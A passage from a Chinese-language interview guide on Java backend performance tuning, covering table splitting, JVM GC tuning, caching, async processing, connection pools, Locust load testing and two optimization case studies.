user_id BIGINT PRIMARY KEY,
intro TEXT,
settings JSON
);
```
**2. 水平拆分**
```sql
-- 拆分前(单表数据量大)
CREATE TABLE orders (
id BIGINT PRIMARY KEY,
user_id BIGINT,
amount DECIMAL(10,2),
created_at DATETIME
); -- 1 亿条数据
-- 拆分后(按时间分表)
CREATE TABLE orders_2024_01 (
id BIGINT PRIMARY KEY,
user_id BIGINT,
amount DECIMAL(10,2),
created_at DATETIME
);
CREATE TABLE orders_2024_02 (
...
);
```
---
### 4. JVM 性能调优
#### **常见问题**
**1. 内存泄漏**
```java
// ❌ 内存泄漏
public class Cache {
private static final Map<String, Object> cache = new HashMap<>();
public void put(String key, Object value) {
cache.put(key, value); // 永不清理,内存泄漏
}
}
// ✅ 使用 Guava Cache
public class Cache {
private static final Cache<String, Object> cache = CacheBuilder.newBuilder()
.expireAfterWrite(10, TimeUnit.MINUTES)
.maximumSize(10000)
.build();
public void put(String key, Object value) {
cache.put(key, value);
}
}
```
---
**2. 频繁 GC**
```bash
# 查看 GC 情况
jstat -gcutil <pid> 1000
# 输出
S0 S1 E O M CCS YGC YGCT FGC FGCT GCT
0.00 70.15 80.23 65.40 95.12 90.23 1523 45.236 10 12.345 57.581
# YGC年轻代 GC 次数(正常 1000 次/小时以下)
# FGC老年代 GC 次数(应该接近 0
# GCT总 GC 时间(应该 < 5%
```
**调优**
```bash
# 调整堆内存大小
-Xms4g -Xmx4g
# 调整年轻代大小
-Xmn2g
# 使用 G1 收集器(大堆内存推荐)
-XX:+UseG1GC
# 调整 GC 并行线程
-XX:ParallelGCThreads=8
```
---
**3. CPU 100%**
```bash
# 查看最耗 CPU 的线程
top -H -p <pid>
# 转换线程 ID 为 16 进制
printf "%x" <tid>
# 查看线程堆栈
jstack <pid> | grep <tid-in-hex> -A 20
```
---
### 5. 接口性能优化
#### **优化技巧**
**1. 异步处理**
```java
// ❌ 同步处理(慢)
@PostMapping("/order")
public String createOrder(@RequestBody Order order) {
// 1. 保存订单100ms
orderService.save(order);
// 2. 发送邮件500ms
emailService.send(order);
// 3. 发送短信300ms
smsService.send(order);
// 总耗时900ms
return "success";
}
// ✅ 异步处理(快)
@PostMapping("/order")
public String createOrder(@RequestBody Order order) {
// 1. 保存订单100ms
orderService.save(order);
// 2. 异步发送邮件、短信
CompletableFuture.runAsync(() -> {
emailService.send(order);
smsService.send(order);
});
// 总耗时100ms
return "success";
}
```
---
**2. 缓存**
```java
// ❌ 每次查询数据库
public User getUser(Long userId) {
return userMapper.selectById(userId); // 50ms
}
// ✅ 使用缓存
@Cacheable(value = "users", key = "#userId")
public User getUser(Long userId) {
return userMapper.selectById(userId); // 第一次 50ms后续 1ms
}
```
---
**3. 批量查询**
```java
// ❌ 循环查询N+1 问题)
List<Order> orders = orderMapper.selectList();
for (Order order : orders) {
User user = userMapper.selectById(order.getUserId()); // N 次查询
order.setUser(user);
}
// ✅ 批量查询
List<Order> orders = orderMapper.selectList();
Set<Long> userIds = orders.stream()
.map(Order::getUserId)
.collect(Collectors.toSet());
Map<Long, User> userMap = userMapper.selectByIds(userIds); // 1 次查询
orders.forEach(o -> o.setUser(userMap.get(o.getUserId())));
```
---
**4. 连接池优化**
```yaml
# HikariCP 配置
spring:
datasource:
hikari:
minimum-idle: 10 # 最小空闲连接
maximum-pool-size: 50 # 最大连接池大小
connection-timeout: 30000 # 连接超时时间
idle-timeout: 600000 # 空闲连接超时
max-lifetime: 1800000 # 连接最大生命周期
```
---
### 6. 全链路压测
#### **压测工具**
**1. JMeter**
- 图形化界面
- 支持分布式压测
- 可录制脚本
**2. LocustPython**
```python
from locust import HttpUser, task, between
class WebsiteUser(HttpUser):
wait_time = between(1, 3)
@task
def index(self):
self.client.get("/")
@task(3)
def api(self):
self.client.get("/api/users")
```
**运行**
```bash
locust -f locustfile.py --host=https://example.com
```
---
#### **压测流程**
```
1. 制定压测计划
- 确定目标QPS、响应时间
- 确定场景(秒杀、日常流量)
2. 编写压测脚本
- 模拟真实用户行为
- 准备测试数据
3. 执行压测
- 逐步加压
- 记录指标
4. 分析结果
- 找出瓶颈
- 优化后再次压测
5. 容量评估
- 确定系统容量
- 预留缓冲(如 30%
```
---
#### **压测指标**
| 指标 | 说明 | 目标值 |
|------|------|--------|
| **QPS** | 每秒请求数 | 根据业务需求 |
| **响应时间** | P99 < 200ms | 根据业务需求 |
| **错误率** | 错误请求比例 | < 0.1% |
| **CPU 使用率** | CPU 占用 | < 70% |
| **内存使用率** | 内存占用 | < 80% |
| **TPS** | 每秒事务数 | 根据业务需求 |
---
### 7. 实际项目案例
#### **案例 1接口响应时间从 2s 优化到 100ms**
**问题**
- 用户列表接口响应时间 2 秒
- 数据库查询慢
**分析**
```sql
EXPLAIN SELECT * FROM users WHERE status = 1;
-- type: ALL全表扫描
-- rows: 1000000
```
**优化**
```sql
-- 1. 添加索引
CREATE INDEX idx_status ON users(status);
-- 2. 只查询需要的字段
SELECT id, name, email FROM users WHERE status = 1;
-- 3. 添加缓存
@Cacheable("users")
```
**结果**:响应时间降至 100ms
---
#### **案例 2解决频繁 GC 问题**
**问题**
- 应用频繁 Full GC
- CPU 使用率 100%
**分析**
```bash
# 查看 GC 日志
jstat -gcutil <pid> 1000
# FGC 频繁,说明老年代内存不足
```
**优化**
```bash
# 调整 JVM 参数
-Xms8g -Xmx8g # 增加堆内存
-Xmn4g # 调整年轻代大小
-XX:+UseG1GC # 使用 G1 收集器
-XX:MaxGCPauseMillis=200 # 设置最大 GC 暂停时间
```
**结果**Full GC 次数从每小时 10 次降至 0 次
---
### 8. 阿里 P7 加分项
**深度理解**
- 理解性能优化的底层原理(操作系统、网络、数据库)
- 理解各种性能分析工具的实现原理
- 理解性能测试的统计学方法
**实战经验**
- 有将接口从秒级优化到毫秒级的经验
- 有解决线上性能问题的经验
- 有全链路压测的经验
**架构能力**
- 能设计高性能架构
- 能设计性能监控体系
- 能制定性能优化规范
**技术选型**
- 了解各种性能分析工具JProfiler、Arthas、SkyWalking
- 了解分布式追踪系统Zipkin、Jaeger
- 能根据业务特点制定性能指标